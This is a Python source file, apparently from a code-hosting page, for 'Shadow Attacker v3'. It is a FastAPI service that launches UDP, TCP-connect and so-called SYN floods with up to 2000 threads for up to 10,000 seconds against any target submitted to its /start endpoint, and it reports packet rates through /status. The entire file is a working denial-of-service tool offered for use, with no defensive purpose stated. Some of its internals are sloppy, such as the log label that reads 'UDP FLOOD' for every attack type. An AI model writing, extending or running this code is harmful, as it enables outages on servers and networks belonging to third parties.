File size: 7,092 Bytes
99b693f 9682c10 b146346 9682c10 308d273 9682c10 308d273 9682c10 99b693f 308d273 99b693f 9682c10 99b693f 9682c10 99b693f 9682c10 308d273 9682c10 99b693f 308d273 99b693f 308d273 99b693f 9682c10 308d273 9dc15dc 99b693f 9682c10 9dc15dc 99b693f 9682c10 308d273 99b693f 308d273 99b693f 9dc15dc 99b693f 9dc15dc 99b693f 9dc15dc 99b693f 9dc15dc 99b693f 9dc15dc 99b693f 9dc15dc 99b693f 9682c10 9dc15dc 308d273 99b693f 308d273 99b693f 9682c10 308d273 9dc15dc 99b693f 308d273 99b693f 308d273 99b693f b146346 308d273 99b693f 9682c10 99b693f 9dc15dc 9682c10 99b693f 9682c10 99b693f 9682c10 99b693f 308d273 99b693f 308d273 9dc15dc 99b693f 9dc15dc 308d273 99b693f 9682c10 99b693f |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 |
# --------------------------------------------------------------
# SHADOW ATTACKER v3 – MAX POWER | 1000 THREADS | 10,000s LIMIT
# --------------------------------------------------------------
import random
import socket
import threading
import time
from collections import deque
from typing import Dict, Optional
import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
# ------------------- LOGGING & STATE -------------------
import logging
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger()
app = FastAPI(title="Shadow Attacker v3")
# Global state
stop_events: Dict[str, threading.Event] = {}
counters: Dict[str, int] = {}
counters_lock = threading.Lock()
total_packets = 0
log_buffer: deque[str] = deque(maxlen=500)
attack_end_times: Dict[str, float] = {}
# PPS tracking
last_time = time.time()
last_total = 0
def _log(msg: str):
ts = time.strftime("%H:%M:%S")
log.info(f"{ts} {msg}")
log_buffer.append(f"{ts} {msg}")
# ------------------- MODELS -------------------
class StartRequest(BaseModel):
target: str
port: int = 80
threads: int = 1000
duration: int = 300 # seconds, max 10000
attack_type: str = "udp" # udp, tcp, syn
class StatusResponse(BaseModel):
running: bool
attack_id: Optional[str]
total_packets: int
pps: float
threads: int
duration: int
elapsed: float
remaining: float
counters: Dict[str, int]
logs: list[str]
# ------------------- HIGH-PPS WORKERS -------------------
def create_udp_socket():
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
return sock
def udp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
global total_packets
payload = random._urandom(1024) # 1KB max speed
sock = create_udp_socket()
addr = (target, port)
try:
while not stop_event.is_set():
sock.sendto(payload, addr)
with counters_lock:
counters[attack_id] = counters.get(attack_id, 0) + 1
total_packets += 1
except:
pass
finally:
try: sock.close()
except: pass
def tcp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
global total_packets
payload = random._urandom(1024)
while not stop_event.is_set():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
sock.connect((target, port))
while not stop_event.is_set():
sock.send(payload)
with counters_lock:
counters[attack_id] = counters.get(attack_id, 0) + 1
total_packets += 1
except:
pass
finally:
try: sock.close()
except: pass
def syn_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
global total_packets
while not stop_event.is_set():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.01)
sock.connect_ex((target, port))
with counters_lock:
counters[attack_id] = counters.get(attack_id, 0) + 1
total_packets += 1
except:
pass
finally:
try: sock.close()
except: pass
# ------------------- API ROUTES -------------------
@app.post("/start")
def start_attack(req: StartRequest):
if any(not ev.is_set() for ev in stop_events.values()):
raise HTTPException(400, "Attack already in progress")
# Clamp values
req.threads = min(max(req.threads, 1), 2000)
req.duration = min(max(req.duration, 1), 10000)
attack_id = f"{req.target}_{int(time.time())}"
stop_ev = threading.Event()
stop_events[attack_id] = stop_ev
counters[attack_id] = 0
attack_end_times[attack_id] = time.time() + req.duration
worker = {
"udp": udp_flood,
"tcp": tcp_flood,
"syn": syn_flood
}.get(req.attack_type, udp_flood)
# Launch all threads at once
threads = []
for _ in range(req.threads):
t = threading.Thread(target=worker, args=(attack_id, req.target, req.port, stop_ev), daemon=True)
t.start()
threads.append(t)
# Auto-stop thread
def auto_stop():
time.sleep(req.duration)
if attack_id in stop_events:
stop_events[attack_id].set()
_log(f"TIMEOUT: Attack {attack_id} ended after {req.duration}s")
cleanup(attack_id)
threading.Thread(target=auto_stop, daemon=True).start()
_log(f"UDP FLOOD → {req.target}:{req.port} ({req.threads} threads, {req.duration}s)")
return {"message": "Attack launched", "attack_id": attack_id, "duration": req.duration}
@app.post("/stop")
def stop_attack(attack_id: Optional[str] = None):
if attack_id and attack_id in stop_events:
stop_events[attack_id].set()
cleanup(attack_id)
_log(f"STOPPED {attack_id}")
else:
for aid in list(stop_events):
stop_events[aid].set()
cleanup(aid)
_log("STOPPED ALL ATTACKS")
return {"message": "Stopped"}
def cleanup(aid: str):
stop_events.pop(aid, None)
counters.pop(aid, None)
attack_end_times.pop(aid, None)
@app.get("/status", response_model=StatusResponse)
def status(attack_id: Optional[str] = None):
global last_time, last_total
with counters_lock:
cnt = dict(counters)
tot = total_packets
now = time.time()
elapsed_global = now - last_time
pps = (tot - last_total) / elapsed_global if elapsed_global > 0 else 0
last_time, last_total = now, tot
active = [aid for aid, ev in stop_events.items() if not ev.is_set()]
running = bool(active)
aid = attack_id if attack_id in stop_events else (active[0] if active else None)
if aid:
end = attack_end_times.get(aid, now)
elapsed = now - (end - (end - now))
remaining = max(0, end - now)
threads = sum(1 for t in threading.enumerate() if t.name.startswith("Thread"))
else:
elapsed = remaining = threads = 0
return StatusResponse(
running=running,
attack_id=aid,
total_packets=tot,
pps=round(pps, 1),
threads=threads,
duration=int(attack_end_times.get(aid, 0) - (attack_end_times.get(aid, 0) - now)) if aid else 0,
elapsed=round(elapsed, 1),
remaining=round(remaining, 1),
counters={aid: cnt.get(aid, 0)} if aid else cnt,
logs=list(log_buffer)
)
# ------------------- ROOT -------------------
@app.get("/")
def root():
return {"message": "Shadow Attacker v3 - /docs for API"}
# ------------------- START -------------------
if __name__ == "__main__":
uvicorn.run(
"main:app",
host="0.0.0.0",
port=8000,
workers=1,
log_level="warning"
) |